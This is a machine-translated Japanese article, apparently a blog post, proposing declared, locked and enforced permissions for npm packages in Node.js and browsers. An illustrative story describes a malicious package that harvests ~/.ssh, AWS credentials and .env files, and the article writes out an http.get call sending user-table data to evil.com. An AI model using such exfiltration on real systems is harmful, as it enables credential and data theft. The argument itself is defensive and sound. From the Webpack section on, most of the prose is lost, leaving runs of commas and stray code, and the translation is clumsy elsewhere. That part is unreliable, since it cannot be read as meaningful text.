アイデアがある:npmパッケージの許可システム

数日前、私は最初に新しい電話で電卓を起動し、次のメッセージを見ました:「電卓はあなたの連絡先にアクセスしたい」。









最初は、このメッセージは私には少し悲しいようでした(電卓が孤独であるように見えました)が、このケースは私に考えさせられました...



電話アプリケーションのように、npmパッケージで作業に必要な権限を宣言する必要がある場合はどうなりますか? このアプローチでは、 package.json



パッケージファイルは次のようになります。



 { "name": "fancy-logger", "version": "0.1.0", "permissions": {   "browser": ["network"],   "node": ["http", "fs"] }, "etcetera": "etcetera" }
      
      





npmjs.comでは、必要な権限に関する情報を含むパッケージページのセクションは次のようになります。









この許可セクションは、npmレジストリサイトのパッケージで利用できる場合があります。

パッケージのこのような許可リストは、すべての依存関係の許可と独自の許可の組み合わせである場合があります。



fancy-logger



パッケージのpermissions



セクションの内容を見ると、開発者は、コンソールに何かを書き込むパッケージがhttp



モジュールにアクセスする必要があり、これがやや疑わしいと思われるかもしれません。



npmパッケージの同様の許可システムが使用される世界はどうなるでしょうか? たとえば、実績のある発行元からの信頼できるパッケージのみを使用するなど、完全に安全だと感じるため、誰かがこの点を理解できないかもしれません。 これを読むすべての人が傷つきやすいと感じるために、ここに短い話があります。



環境変数を盗む方法の物語



space-invaders



と呼ばれるnpmパッケージを作成したかった。 コンソールで動作するゲームを作成してゲームを作成する方法を学び、同時にnpmパッケージに関連する脆弱性に関する私の見解を実証することは興味深いものでした。



次のコマンドでこのゲームを実行できます: npx space-invaders



。 打ち上げ後、人はすぐにエイリアンに射撃を開始し、時間を殺すことができます。



あなたはこのゲームが欲しい、友達と共有したい、彼らも気に入ってくれるだろう。



これはすべて非常にポジティブに見えますが、あなたを楽しませて、ゲームspace-invaders



は独自のspace-invaders



、つまりいくつかのデータの収集を行います。 ~/.ssh/



~/.aws/credentials



~/.bash_profile



および他の同様の場所から情報を収集し、 process.env



を含む到達可能なすべての.env



ファイルの内容を読み取ります。 (収集する情報を見つけるために)git構成に送信すると、彼女はすべてをサーバーに送信します。



私はそのようなゲームを書いたことはありませんが、しばらく不安に感じていましたnpm install



コマンドを実行すると、システムがどれほど脆弱かを考えます。 ここで、インストールの進行状況インジケーターを見て、ラップトップ上の標準のフォルダーとファイルの内容が間違った手に渡ってはならないことを考えています。



それは私のワークスペースだけではありません。 たとえば、実稼働サーバーデータベースに接続するためのサイトアセンブリシステムの環境変数にデータがあるかどうかさえわかりません。 そのようなデータがある場合は、悪意のあるnpm-packageが、作業中のデータベースに接続するように設計されたシステムにスクリプトをインストールする状況を想像できます。 次に、このスクリプトは、 SELECT * from users



コマンドSELECT * from users



実行し、次にhttp.get('http://evil.com/that-data')



ます。 たぶん、パスワードがプレーンテキストでデータベースに保存されるべきではないというアドバイスに出くわしたのは、まさにそのような攻撃の可能性のためだったのでしょうか?



これはすべて非常に恐ろしく見え、ほとんどの場合すでに発生しています(ただし、これが発生しているかどうかを正確に言うことは不可能です)。



これにより、おそらく、重要なデータの盗難の結果について話すのをやめるでしょう。 npmパッケージのパーミッションのトピックに戻りましょう。



ロック許可の変更



npmサイトを表示するときに、パッケージに必要なアクセス許可を確認できるといいと思います。 ただし、アクセス許可を表示する機能は、特定の時点に適用された場合にのみ有効であり、実際には、これが実際の問題を解決するわけではないことに注意してください。



npmの最近の事件で、誰かが最初に悪意のあるコードを含むパッケージのパッチバージョンを公開し、次に悪意のあるコードが既に削除されたマイナーバージョンを公開しました。 これら2つのイベント間の時間は、危険なパッケージの多くのユーザーを危険にさらすのに十分でした。



これが問題です。 悪意のあるパッケージであり、常にそうであるパッケージではありません。 問題は、一見信頼できるパッケージに、ひどく悪いものを追加し、しばらくしてからそれを削除できることです。



その結果、パッケージが受け取ったアクセス許可のセットをブロックするメカニズムが必要であると言えます。



おそらくNode.jsとブラウザーのアクセス許可を設定し、これらのアクセス許可を必要とするパッケージのリストを含むpackage-permissions.json



ファイルのようなものになるでしょう。 このアプローチでは、プロジェクトのpackage.json



ファイルのdependencies



セクションにあるパッケージだけでなく、そのようなファイル内のすべてのパッケージをリストする必要があります。



package-permissions.json



は次のようになります。



 { "node": {   "http": [     "express",     "stream-http"   ],   "fs": [     "fs-extra",     "webpack",     "node-sass"   ] }, "browser": {   "network": [     "whatwg-fetch",     "new-relic"   ] } }
      
      





このようなファイルの実際のバージョンには、さらに多くのパッケージエントリが含まれる場合があります。



ある日、更新される200個の依存関係でパッケージを更新するとします。 これらの依存関係の1つに対してパッチバージョンが公開され、突然http



Node.jsへのアクセスが必要になりました。



これが発生すると、 npm install



コマンドは次のようなメッセージで失敗します。「 fancy-logger



パッケージに必要なadd-two-number



パッケージがhttp



Node.jsへのアクセスを要求しました。 npm update-permissions add-two-numbers



コマンドを実行してこれを解決し、 npm install



コマンドを再度実行してください。



ここで、 fancy-logger



は、 package.json



ファイルにあるパッケージです(このパッケージに精通していると仮定します) package.json



add-two-numbers



パッケージは、聞いたことのないfancy-logger



依存関係です。



もちろん、システム内に依存関係を「ブロック」するファイルがあったとしても、何人かの開発者は何も考えずに新しい許可を確認します。 しかし、少なくとも、 package-permissions.json



変更はプルリクエストに表示されます。つまり、より責任のある別の開発者がこれに注意を払う可能性があります。



さらに、要求された権限を変更するには、パッケージの依存関係ツリーのどこかで状況が変化したときに、npmレジストリ自体がパッケージの作成者に通知する必要があります。 おそらく-これは、次の内容の電子メールで行われます。



「こんにちは、 fancy-logger



著者。 使用する機能を持つパッケージであるadd-two-number



が、 http



モジュールを使用する許可を要求したことをお知らせします。 npmjs.com/package/fancy-logger



に示されているように、パッケージのアクセス許可はそれに応じて更新されています。



もちろん、これによりパッケージの作成者とnpm自体の両方にケースが追加されますが、これらのケースは少し時間をかける価値があります。 この場合、 add-two-numbers



の作成者は、 http



モジュールを使用する許可を求めると、世界中で多くの「アラーム」がトリガーされることを完全に確信できます。



それが必要です。 え? 電話アプリケーションの場合や、Chromeの拡張機能の場合でも、権限があまり必要でないパッケージは、システムへの不可解なほど高いレベルのアクセスを必要とするパッケージよりもユーザーに人気があることを願っています。 これにより、パッケージの作成者は、開発に必要な権限を選択するときに非常によく考えるようになります。



npmが許可システムの導入を決定したとします。 そのようなシステムを起動した最初の日に、すべてのパッケージは完全な許可が必要であると見なされます(そのような決定は後で行われますpackage.json



permissions



セクションが欠落している場合)。



パッケージの作成者は、自分のパッケージに特別な権限は必要ないと主張したい場合、 permissions



セクションを空のオブジェクトとしてpackage.json



に追加することに関心があります。 また、パッケージの作成者が依存関係のアクセス許可によってパッケージに "負担"がかからないように十分に関心がある場合、たとえば依存関係リポジトリで適切なプルリクエストを行うことにより、これらの依存関係パッケージも特別なアクセス許可を必要としないようにします。



さらに、パッケージの各作成者は、依存関係の1つを破るときに、パッケージの脆弱性のリスクを減らすよう努めます。 したがって、パッケージの作成者が、必要ではないように思える許可を必要とする依存関係を使用する場合、他のパッケージの使用に切り替えるインセンティブがあります。



また、アプリケーションの作成時にnpm-packagesを使用する開発者の場合、プロジェクトで使用されるパッケージに特別な注意を払わせ、主に特別な権限を必要としないパッケージを選択します。 同時に、もちろん、客観的な理由から、一部のパッケージには問題を引き起こす可能性のあるアクセス許可が必要ですが、そのようなパッケージは開発者の特別な制御下にある可能性があります。



おそらく、 Greenkeeperのようなものが何らかの方法でこれらすべての問題を解決するのに役立つかもしれません。



そして最後に、 package-permissions.json



ファイルは、アプリケーションの潜在的な「穴」を評価し、問題のあるパッケージとその許可について特定の質問をすることができるセキュリティ専門家にわかりやすい要約を提供します。



その結果、この単純なpermissions



プロパティが約800,000個のnpmパッケージに非常に広く広がり、npmがより安全になることを願っています。



もちろん、これは攻撃の可能性を防ぎません。 モバイルアプリケーションが要求するアクセス許可が、公式サイトを通じて配布される悪意のあるモバイルアプリケーションを作成することを不可能にしないように。 しかし、これにより、「攻撃の対象」は、コンピューターシステムに脅威を与える可能性のある特定のアクションを実行する許可を明示的に要求するパッケージに限定されます。 さらに、パケットの何パーセントが特別な許可をまったく必要としないかを知ることは興味深いでしょう。



これが、私が発明したnpmパッケージのパーミッションを操作するメカニズムの様子です。 このアイデアが現実になった場合、攻撃者が許可を宣言することでパッケージを正直に説明するという事実に依存するか、許可を宣言するシステムを、要求された許可に従ってパッケージの機能を強制的に制限するメカニズムと組み合わせることができます。 これは興味深い質問です。 Node.jsとブラウザに適用されるものを見てみましょう。



Node.jsで要求した許可に従ってパッケージ制限を強制する



ここに、そのような制限を適用するための2つの可能なオプションがあります。



▍オプション1:セキュリティ対策を強制する特別なnpmパッケージ



npm(または同様に権威のある先見の明のある他の組織)が作成および保守するパッケージを想像してください。 このパッケージを@npm/permissions



という名前にします。



このようなパッケージは、最初のインポートコマンドでアプリケーションコードに含まれるか、 node -r @npm/permissions index.js



形式のコマンドでアプリケーションが起動されnode -r @npm/permissions index.js







パッケージは、他のパッケージのpackage.json



ファイルのpermissions



セクションに記載されているpermissions



違反しないように、他のインポートコマンドをオーバーライドします。 特定のlovely-logger



パッケージの作成者がNode.js http



モジュールでこのパッケージの必要性を宣言しなかった場合、このモジュールはこのようなパッケージにアクセスできないことを意味します。



厳密に言えば、この方法でNode.jsモジュール全体をブロックすることは理想的ではありません。 たとえば、npm methods



パッケージはNode.js http



モジュールをロードしますが、データを送信しません。 http.METHODS



オブジェクトをhttp.METHODS



、その名前をhttp.METHODS



変換して、クラシックnpmパッケージとしてエクスポートします。 現在、そのようなパッケージは攻撃者にとって大きな標的のように見えます-彼は週に600万ダウンロードを持っていますが、彼は3年間変わっていません。 このパッケージの作者に手紙を書いて、彼らにそのリポジトリを提供するように勧めることができます。



methods



パッケージを考慮すると、 http



モジュールへのアクセスを許可する許可ではなく、 network



許可を必要としないことを考慮した方が良いでしょう。 次に、外部のメカニズムを使用してこの制限を修正し、このパッケージが動作するシステムから特定のデータを送信するこのパッケージの試みを無効にします。



架空のパッケージ@npm/permissions



は、あるパッケージから、依存関係としてリストされていない他のパッケージへのアクセスを制限することもできます。 これにより、たとえば、パッケージがfs-extra



request



などをインポートするのを防ぎ、これらのパッケージの機能を使用してファイルシステムからデータを読み取り、読み取りデータを攻撃者に送信します。



同様に、「内部」ディスクアクセスと「外部」ディスクアクセスを区別すると便利な場合があります。 node-sass



がプロジェクトのディレクトリ内にあるマテリアルにアクセスする必要があるという事実に非常に満足していnode-sass



が、このパッケージがこのディレクトリ以外の場所にアクセスする必要がある理由はわかりません。



おそらく、許可システムの導入の最初に、 @npm/permissions



パッケージをプロジェクトに手動で追加する必要があります。 おそらく、移行期間中、避けられない誤動作の解消中に、これがそのようなメカニズムを使用するための唯一の合理的なアプローチです。 ただし、実際のセキュリティを確保するには、パッケージインストールスクリプトを実行する際に権限を考慮する必要があるため、このパッケージをシステムに緊密に統合する必要があります。



次に、おそらく、プロジェクトのpackage.json



ファイルの"enforcePermissions": true



という形式の単純なコマンドは、npmに宣言された権限を強制的に使用してスクリプトを実行するよう指示します。



▍オプション2:セーフモードNode.js



セキュリティレベルの向上に焦点を当てたNode.jsの特別な操作モードでは、明らかに、より深刻な変更が必要になります。 ただし、長期的には、Node.jsプラットフォーム自体が、各パッケージで宣言されたアクセス許可によって設定された制限を実施できる可能性があります。



一方では、Node.jsプラットフォームを開発している人々がこのプラットフォームの問題の解決に努めており、npmパッケージのセキュリティに関する私の考えが彼らの関心の範囲を超えていることを知っています。 結局のところ、npmはNode.jsに付随するテクノロジーにすぎません。 一方、Node.jsの開発者は、企業ユーザーにこのプラットフォームでの作業に自信を持たせることに関心があり、セキュリティはNode.jsの「コミュニティ」に与えてはならない側面の1つであると考えられます。



そのため、ここで説明したことはすべて非常に単純に見え、Node.jsの操作中にシステムが何らかの方法でモジュールによって使用される機能を監視するという事実に要約されました。



それでは、ブラウザについて話しましょう。 ここのすべては、それほど明確で理解しやすいものではありません。



ブラウザで要求された許可に従ってパッケージの機能を強制的に制限



ブラウザーで実行されるコードは、ブラウザーが実行されるオペレーティングシステムとの関係であまり機能しないため、一見すると、ブラウザーでのパッケージの機能の強制制限はさらに単純に見えます。 実際、ブラウザの場合、パケットが異常なアドレスにデータを転送する能力についてのみ心配する必要があります。



ここでの問題は、ユーザーのブラウザーから攻撃者のサーバーにデータを送信する方法が無数にあることです。



これは流出またはデータ漏洩と呼ばれ、セキュリティの専門家にこれを回避する方法を尋ねると、彼は火薬を発明した人物の表情で、npmの使用をやめるように指示します。



ブラウザーで実行するパッケージの場合、1つの解決策だけに注意を払う必要があると思います-ネットワークと連携する機能を担当する解決策。 それをnetwork



と呼びましょう。 この環境には他のアクセス許可(DOMまたはローカルストレージへのアクセスを規制するアクセス許可など)がある場合がありますが、ここでは、データ漏洩の可能性が主な懸念事項であるという前提から進めます。



ブラウザからのデータは、さまざまな方法で「削除」できます。 以下は、60秒で覚えられるものです。





優れたコンテンツセキュリティポリシー(CSP)はこれらの脅威の一部を無効化できることに注意する必要がありますが、これはすべての脅威に当てはまるわけではありません。 誰かが私を修正できれば幸いですが、CSPがデータ漏えいから完全に保護するという事実に頼ることはできないと信じています。 ある人は、CSPは膨大な数の脅威に対してほぼ完全な保護を提供すると言っていました。 これに対して、私はあなたが少し妊娠することはできないと答えました。それ以来、私たちはこの人と連絡していません。



ブラウザからデータを盗む方法を賢明に検索する場合、これらの方法のかなり完全なリストを作成することは非常に現実的であると確信しています。



次に、同様のリストからの機会の使用へのアクセスを拒否するメカニズムを見つける必要があります。



Webpack (, @npm/permissions-webpack-plugin



), :





(, Parcel, Rollup, Browserify ).



, , -. , , , , , .



, ( Lodash, Moment, ), . .



.



 //   (),   ,    function bigFrameworkWrapper(newWindow) { /*  --     -- */ const window = newWindow; const document = window.document; //      /*  --    -- */ const module = {   doSomething() {     const newDiv = document.createElement('div'); //      const newScript = document.createElement('script'); //      const firstDiv = document.querySelector('div'); //    }, }; return module; } //   ( ),   ,    function smallUtilWrapper(newWindow) { /*  --     -- */ const window = newWindow; const document = window.document; //      /*  --    -- */ const module = {   doSomething() {     const newDiv = document.createElement('div'); //      const newScript = document.createElement('script'); //  !     const firstDiv = document.querySelector('div'); //    }, }; return module; } const restrictedWindow = new Proxy(window, { get(target, prop, receiver) {   if (prop === 'document') {     return new Proxy(target.document, {       get(target, prop, receiver) {         if (prop === 'createElement') {           return new Proxy(window.document.createElement, {             apply(target, thisArg, argumentsList) {               if (['script', 'img', 'audio', 'and-so-on'].includes(argumentsList[0])) {                 console.error('A module without permissions attempted to create a naughty element');                 return false;               }               return target.apply(window.document, argumentsList);             },           });         }         const result = Reflect.get(target, prop, receiver);         if (typeof result === 'function') return result.bind(target);         return result;       },     });   }   return Reflect.get(target, prop, receiver); }, }); const bigFramework = bigFrameworkWrapper(window); bigFramework.doSomething(); //   const smallUtil = smallUtilWrapper(restrictedWindow); smallUtil.doSomething(); // ! "A module without permissions attempted to create a naughty element"
      
      





function bigFrameworkWrapper(newWindow) {



function smallUtilWrapper(newWindow) {



— , . «» .



const newScript = document.createElement('script'); // !



, — script



.



const bigFramework = bigFrameworkWrapper(window);



const smallUtil = smallUtilWrapper(restrictedWindow);



«» . , , .



const restrictedWindow = new Proxy(window, {



window



, , window



, , window.document.createElement



DOM .



Proxy



.



. , .



, , API, . , , , , , , , , , , «» .



, , , - .



, , , , Proxy



. , 90% , . , , . , - , , , .



, , , , , Node.js .





, , HTTP , , , -. .



-, , , . iframe



, . sandbox



, , . , , , -.



, , sandbox



<script>



. : <script src="/some-package.js" sandbox="allow-exfiltration allow-whatevs"><script>



. , , , - create-react-app



, 1.4 , .



, npm , .



, - .



, , - « ...», , , ?



まとめ



, , , , . , 90% , , , 10% — , .



, , - .



親愛なる読者! , , npm, -?






All Articles